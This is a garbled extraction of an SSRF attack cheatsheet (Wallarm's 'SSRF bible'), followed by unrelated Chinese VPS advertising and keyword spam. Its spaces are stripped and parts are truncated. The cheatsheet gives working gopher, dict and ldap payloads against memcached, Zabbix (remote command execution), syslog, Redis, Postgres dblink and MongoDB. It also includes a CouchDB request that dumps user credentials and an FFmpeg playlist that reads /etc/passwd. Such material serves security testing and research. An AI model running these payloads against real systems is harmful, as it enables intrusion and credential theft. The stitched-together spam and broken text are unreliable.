SSRFbible.
CheatsheetRevision1.
0326Jan2017Authors:@Wallarm@d0znppresearchteamWallarm.
com|lab.
wallarm.
comTryournewproduct.
WallarmFAST:securitytestsfromtraffichttps://wallarm.
com/wallarm-fast/wallarm.
com1TableofcontentsTableofcontentsBasicsTypicalattackstepsFileDescriptorsexploitationwayURLschemasupportProtocolsSSRFsmugglingSmugglingexamplesApacheweb-serverHTTPparserNginxweb-serverHTTPparserVulnerabilitiesBasicsExamplesGoogleDocsZeroNightshackquestchallengeExploitationtricksBypassingrestrictionsInputvalidationUnsaferedirectDNSpinningDNSpinningraceconditionPHPfsockopen()urlparsingtricksNetworkrestrictionsProtocolfingerprintingExamplesHTTPMemcachedRetrievingdataExamplesHTTPresponseencapsulationintoXMLformattedresponseConsolecURLwildcardsURLresponsesconcatenationSMBRelayexploitationOriginalrequestdatasniffingExamplesMemcachedwallarm.
com2ExploitsPHP-FPMSyslogExploitsZabbixagentdExploitsPostgresExploitsMongoDBRedisCouchDBExploitsFFmpegReferencesToolsResearcheswallarm.
com3BasicsSSRF-ServerSideRequestForgeryattacks.
Theabilitytocreaterequestsfromthevulnerableservertointra/internet.
UsingaprotocolsupportedbyavailableURIschemas,youcancommunicatewithservicesrunningonotherprotocols.
Herewecollectthevariousoptionsandexamples(exploits)ofsuchinteraction.
Seeforintroductionrelatedresearches.
Typicalattacksteps1.
Scaninternalnetworktodetermineinternalinfrastructurewhichyoumayaccess2.
Collectopenedportsatlocalhostandotherinternalhostswhichyouwant(basicallybytime-baseddetermination)3.
Determineservices/daemonsonportsusingwikiordaemonsbanners(ifyoumaywatchoutput)4.
DeterminetypeofyouSSRFcombination:Directsocketaccess(suchasthisexample)Socketsclient(suchasjavaURI,cURL,LWP,others)5.
IncaseofdirectsocketaccessdetermineCRLFandotherinjectionsforsmuggling6.
Incaseofsocketsclient,determineavailableURIschemas7.
Compareavailableschemasandservices/daemonsprotocolstofindsmugglingpossibilities8.
Determinehost-basedauthdaemonsandtrytoexploititFileDescriptorsexploitationwayUsefulinclouds,sharedhostingsandotherslargeinfrastructures.
Firstreadslides20-21aboutFDsand22-23aboutProcFSfromthispaper.
TherearethreewaystoaccesstoFDs:InterpretersAPI(suchasfd://wrapperforPHP)IftherearenosuchAPIorrequiredfunctionsdisabled,youcantrytoloadnativeextension:PHP(requiredlopen,butnotexec):https://github.
com/dhotson/fdopen-phpexec()callfromAPI(suchasexec('echo123>&');)youmayaccessonlyFDswithoutO_CLOEXECflag.
CprogramtoscanavailableFDsishere:https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
c.
ProcFSfiles(/proc//fd/)*Note,thatyoucannotaccesstosocketsthrough/proc//fd/files!
wallarm.
com4URLschemasupportPHPJavacURLLWPASP.
NET1gopherenableby--with-curlwrappersbeforelastpatchesw/o\0char+ASP.
NETloadXML($resp);//echo$resp.
"nn";echo$doc->getElementsByTagName("error")->item(0)->nodeValue;if(libxml_get_errors()!
=null){print_r(libxml_get_errors());}>wallarm.
com9ExploitationtricksBypassingrestrictionsBasicallyrestrictionswhichyoumayfindinSSRFexploitationcanbesplitintotwogroups:Inputvalidation(suchasregularexpressionURLfilter)Networkrestrictions(firewallsrules)InputvalidationUnsaferedirectEasywaytobypassinputvalidationisURLredirection.
HTTPclientsnotabrowsers.
Therearenormallytodounsaferedirect(exceptofJavacase).
WorksfineforcURL,LWP,ASP.
NET(exploit:http://anyhostwithredirest.
com/->gopher://localhost:11211/1stats%0aquit).
DNSpinningTobypassdomainvalidationyoumaysimpleusepinningtechnique.
Forexample,defineAorAAAArecordsonyourDNSservertoyoursubdomainsintovictim'sintranet:$nslookuplocal.
oxod.
ruNon-authoritativeanswer:Name:local.
oxod.
ruAddress:127.
0.
0.
18.
8.
8.
8(somethingwhitelistedinvalidate_domainfunction)Andthesecondresponsecouldlookslike:evil.
com->127.
0.
0.
1PHPfsockopen()urlparsingtricks3.
php]]>//validfooterforreadableformatwallarm.
com14SMBRelayexploitationThistechniquedescribedinrelatedresearch"SSRF+Java+Windows=Love".
IncaseofJava-basedapplicationonOSWindowstarget,attackercanexecuteanNTLMrelayattackoverHTTP.
It'spossiblebecauseJavahasaninternalHTTP-client,whichsupportsNTLMauthenticationbydefault.
OriginalrequestdatasniffingInmanycasesthereareusefultosniffdataofinitialrequestusingSSRF.
ItsmaybeOAuthtokens,basicauthcredential,POSTbodiesandothers.
Thisproblemcanbesolvedifyouhavetheabilitytomodifytheserver'sresponse.
Youmustbeinfluencetheresponsefromaoneserver,onreceiptofarequestfromanotherserver.
Itwilllooklikeopen-redirect(WASC-38)orresponsesplitting/smuggling(WASC-25,WASC-27),butthereareserver'shttplibrarysuchascURLinsteadoftheuser'sbrowser.
307HTTPstatus(TemporaryRedirectExplained)andotherscanbeusedtoretrieveoriginalPOSTbody.
TableofPOSTredirection:Lib/Status300301302303304305306307308cURLOKOKOKOK-LWPPHPwallarm.
com15Example:$url="http://localhost/tests/redir.
phps={$_GET['s']}&r=http://localhost:8000/";$ch=curl_init($url);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,"key=secret");$resp=curl_exec($ch);Youcansteal"key=secret"databyusingopenredirectvulnerabilitywithresponsestatuses300,305,306,307orbyhttpresponsesplitting/httpheaderinjectionvulnerabilities.
AndtherearenowaystostealsecretinLWPcase:usestrict;usewarnings;my$b=LWP::UserAgent->new;my$u='http://localhost/tests/redir.
phps=307&r=http://localhost:8000/a';$b->post($u,{'key'=>'secret'});wallarm.
com16ExamplesSSRFalsoopenagatetovariousNoSQLattackssuchasServer-SideJavaScriptinjections.
MemcachedProtocoldocumentation:https://github.
com/memcached/memcached/blob/master/doc/protocol.
txtExploitationsteps:1.
collectallkeys2.
determineinterestingkeys3.
replacekey'svaluestoarbitraryExploitationstechniques:FindHTMLtemplatesandinjectJSloginsniffertocollectlogin/passwordsFinddynamictemplates(macros,PHP,others)andinjectarbitrarycode(RCE)FindyoursessionandescalateyourprivilegesCreatenewsessionwithlongexpirationandsetadminprivilegesExploitsgopher://localhost:11211/1%0astats%0aquitdict://locahost:11211/statsldap://localhost:11211/%0astats%0aquitPHP-FPMExploitlocalinstallationtobypassrestrictionssuchassafe_modeandothershttp://pastebin.
com/XP2BYmR7.
Payyourattention,it'sreallyusefullattackvector!
wallarm.
com17SyslogTypicallyUDPbutreallycommonlistenonTCPport514.
Youmayaddstringstosyslogeasily.
Exploithttp://string-that-you-want-to-add.
evil.
com:514/FirstconfigureDNStoresolvestring-that-you-want-to-add.
evil.
comas127.
0.
0.
1HTTPrequest:GET/aHTTP/1.
1Host:string-that-you-want-to-add.
evil.
com:8000Connection:Keep-AliveSyslogentities:Nov2300:53:50localhostHost:string-that-you-want-to-add.
evil.
com:8000#015Nov2300:53:50localhostConnection:Keep-Alive#015Nov2300:53:50localhost#015It'susefulthingtoexploitalotofmonitoringsystemsbyaclient-sideissueslikeXSS.
Justbecausethedatafromsysloglookslikeaverifieddataforit.
CRLFinjectionmakesyslogentitiesmoreclear(seebelow).
Exploitsdict://localhost:514/ALARM!
!
!
ldap://localhost:514/\r\nALARM!
!
!
(LWPonly)Syslogentities:Nov2300:53:50localhostALARM!
!
!
#015ZabbixagentdZabbixisverycommonmonitoringsystem.
Monitoredserversrunningzabbix_agentdbinarywhichconfiguredby/etc/zabbix/zabbix_agentd.
conffile.
Defaultlistenedportis10050.
Zabbixagentdhaveonlyhost-basedauthorization,describedinconfigfile:Server=127.
0.
0.
1,monitor.
trusted.
network.
netTherearetypicallytoinclude127.
0.
0.
1intoauthorizedserversbydebuggingreasonsandbydefault.
Agentdprotocolisplain/textandsimple:"\n"usingaslineterminatorandpacketformatis"item[key]".
Allavailableitemslistedbelow:http://www.
zabbix.
com/documentation/1.
8/manual/config/items.
Zabbixagentdclosesocketafterfirstmalformedline(requestunexistingkeyforexample).
Soyoucan'tusesmugglingiffirstlineofrequestisnotcontrolledbyyou.
wallarm.
com18Sometimesagentdconfiguredtorunarbitrarycommandsfromservers(itemsystem.
ruusedtoruncommandsfromkeyargument):EnableRemoteCommands=1Exploitsgopher://localhost:10050/1vfs.
file.
regexp[/etc/hosts,7]Serverresponse:ZBXD127.
0.
0.
1localhostads.
localhostlocalhost.
vvasd.
localhost.
vvgopher://localhost:10050/1system.
run[ls]Serverresponse:ZBXD,usretcvarbootPostgresAnyfunctionswhichcanopensocketsandwriteuser'sdataintoitcanbeexploitedforSSRF.
Suchasfunctionstoexternaldatabaseconnectionswhichprovidedbyallmoderndatabases(DB2/Oracle/Postgres/etc).
AttackermayusethisfunctionsthroughSQLinjectiontoexploitanythinginintranet.
DBLINKdesciption:http://www.
postgresql.
org/docs/8.
4/static/dblink.
html.
Syntaxofconnectionstringavailablehere:http://www.
postgresql.
org/docs/8.
4/static/libpq-connect.
htmlExploitsSELECTdblink_send_query('host=127.
0.
0.
1dbname=quituser=\'\nstats\n\'password=1port=11211sslmode=disable','selectversion();');wallarm.
com19MongoDBAttackermayusedifferentinternalfunctions,suchascopyDatabase()andotherstoopenarbitrarysocketandputsarbitrarydataintoit.
ExploitsWritebinarydataintosocket:>db.
copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000')$nc-l8000|hexdump-C000000003b0000002800000000000000d40700000000001000000000010203040506072e73797374syst|00000020656d2e6e616d65737061636573000000|em.
namespaces.
.
.
|Communicatewithmemcached:>db.
copyDatabase("\nstats\nquit",'test','localhost:11211')RedisThereisamanycommandsinRediswhichcanhelpswithanSSRFwork:SLAVEOFhostportMIGRATEhostportkey…(MIGRATE192.
168.
1.
346379""05000KEYSkey1key2key3)CONFIGSET.
.
.
wallarm.
com20CouchDBCouchDBisreallycooltargetforSSRFattacks.
ThereareHTTPRESTAPIwhichprovideattackertoexploititusingonlyvalidHTTPrequestswithoutanysmuggling.
APIdetails:http://wiki.
apache.
org/couchdb/Complete_HTTP_API_Reference.
POST/PUT/DELETErequestsmaybeforgedalsobysmugglingtechniquestoexecuteserver-sideJScodeforexample.
Exploitshttp://localhost:5984/_users/_all_docstosteal_usersdatabasewithcredentials:HTTP/1.
1200OKServer:CouchDB/1.
2.
0(ErlangOTP/R15B01)ETag:"BD1WV12007V05JTG4X6YHIHCA"Date:Tue,18Dec201221:39:59GMTContent-Type:text/plain;charset=utf-8Cache-Control:must-revalidate{"total_rows":1,"offset":0,"rows":[{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-a8cfb993654bcc635f126724d39eb930"}}]}Thisexampletestedondebianstableinstallationfrompackagewithoutanyadditionalconfiguration.
Toexecuteserver-sideJSwithrestrictions(server-sideJSissandboxed,nonetwork,IOnoraccessoutsidetheprovideddocumentandfunctions)youmayuseViewAPI.
ThistechniquewasdescribedatBHUS11inthispaperforweb-applicationbasedinjection.
Readthisfirst:http://wiki.
apache.
org/couchdb/HTTP_view_APIAttackercouldalsosendrequestsfromCouchDBservertointranetbyusingreplicationfunction(http://docs.
couchdb.
org/en/stable/api/server/common.
html#replicate).
POSThttp://couchdb:5984/_replicateContent-Type:application/jsonAccept:application/json{"source":"recipes","target":"http://ssrf-me:11211/recipes",}wallarm.
com21FFmpegM38ufileformatprovidessomeusefulmacroscalled"EXTINF".
ThismacrosallowsattackertoreadarbitraryfilesanddoSSRFattacks.
Let'slookatsomebeautifulexampleslistedbelow:$catvideo.
mp4#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.
0,concat:http://example.
org/header.
y4m|file:///etc/passwd#EXT-X-ENDLIST$ffmpeg-ivideo.
mp4thumbnail.
png$ffmpeg-ithumbnail.
pngout.
y4m$catout.
y4mYUV4MPEG2W30H30F25:1IpA0:0CmonoFRAME#$FreeBSD:release/10.
0.
0/etc/master.
passwd256366,!
2013-10-1206:08:18Zrpaulo$#root:*:0:0:Charlie&:/root:/usr/local/bin/zshtoor:*:0:0:Bourne-againSuperuser:/root:Originallink:https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/1533367wallarm.
com22References1.
http://en.
wikipedia.
org/wiki/URI_scheme2.
http://en.
wikipedia.
org/wiki/List_of_TCP_and_UDP_port_numbers3.
http://msdn.
microsoft.
com/en-us/library/system.
uri.
scheme.
aspx4.
http://search.
cpan.
org/~gaas/libwww-perl-6.
04/lib/LWP.
pm5.
http://php.
net/manual/en/wrappers.
php6.
http://docs.
oracle.
com/javase/1.
5.
0/docs/api/javax/print/attribute/standard/ReferenceUriSchemesSupported.
html7.
http://www.
kernel.
org/doc/man-pages/online/pages/man2/open.
2.
html8.
http://media.
blackhat.
com/bh-us-11/Sullivan/BH_US_11_Sullivan_Server_Side_WP.
pdf9.
http://www.
nostarch.
com/download/tangledweb_ch3.
pdfTools1.
https://github.
com/ONsec-Lab/scripts/blob/master/list-open-fd.
cResearches21.
http://www.
shmoocon.
org/2008/presentations/Web%20portals,%20gateway%20to%20information.
ppt2.
http://www.
slideshare.
net/d0znpp/xxe-advanced-exploitation3.
http://www.
slideshare.
net/d0znpp/caro2012-attack-largemodernwebapplications4.
http://media.
blackhat.
com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.
pdf5.
http://erpscan.
com/wp-content/uploads/2012/11/SSRF.
2.
0.
poc_.
pdf6.
http://www.
riyazwalikar.
com/2012/11/cross-site-port-attacks-xspa-part-2.
html7.
http://www.
slideshare.
net/d0znpp/ssrf-attacks-and-sockets-smorgasbord-of-vulnerabilities8.
http://erpscan.
com/press-center/smbrelay-bible-7-ssrf-java-windows-love/9.
https://bugs.
launchpad.
net/ubuntu/+source/ffmpeg/+bug/15333672Sortedbydatewallarm.
com23
DMIT怎么样?DMIT是一家美国主机商,主要提供KVM VPS、独立服务器等,主要提供香港CN2、洛杉矶CN2 GIA等KVM VPS,稳定性、网络都很不错。支持中文客服,可Paypal、支付宝付款。2020年推出的香港国际线路的KVM VPS,大带宽,适合中转落地使用。现在有永久9折优惠码:July-4-Lite-10OFF,季付及以上还有折扣,非 中国路由优化;AS4134,AS4837 均...
香港最便宜的vps要多少钱?最便宜的香港vps能用吗?香港vps无需备案,整体性能好,而且租用价格便宜,使用灵活,因为备受站长喜爱。无论是个人还是企业建站,都比较倾向于选择香港VPS。最便宜的香港vps能用吗?正因为有着诸多租用优势,香港VPS在业内颇受欢迎,租用需求量也在日益攀升。那么,对于新手用户来说,香港最便宜的vps租用有四大要点是务必要注意的,还有易探云香港vps租用最便宜的月付仅18元...
CloudCone是一家成立于2017年的国外VPS主机商,提供独立服务器租用和VPS主机,其中VPS基于KVM架构,多个不同系列,譬如常规VPS、大硬盘VPS等等,数据中心在洛杉矶MC机房。商家2021年Flash Sale活动继续,最低每月1.99美元,支持7天退款到账户,支持使用PayPal或者支付宝付款,先充值后下单的方式。下面列出几款VPS主机配置信息。CPU:1core内存:768MB...
pastebin.com为你推荐
h连锁酒店什么连锁酒店好sonicchat苹果手机微信显示WeChat网红名字被抢注关于新浪微博昵称被抢注。我改微博名称时显示被抢注,但是却搜索这个昵称,又显示找不到这个人,请问为什李子柒年入1.6亿宋朝鼎盛时期 政府财政收入有将近1亿贯铜钱,那么GDP是多少呢?qq530.com求教:如何下载http://www.qq530.com/ 上的音乐www.zjs.com.cn中国快递公司排名avtt4.comwww.51kao4.com为什么进不去啊?抓站工具公司网站要备份,谁知道好用的网站抓取工具,能够抓取bbs论坛的。推荐一下,先谢过了!本冈一郎本冈一郎是什么东西??谁知道??www.bbbb.com二级域名怎么申请?看URL怎么分辨出二级域名、三级域名
合肥虚拟主机 香港主机租用 提供香港vps 香港vps99idc technetcal gomezpeer 轻博客 directadmin 服务器日志分析 lamp配置 panel1 howfile tna官网 免费网页空间 in域名 无限流量 下载速度测试 韩国代理ip 百度云空间 双线空间 更多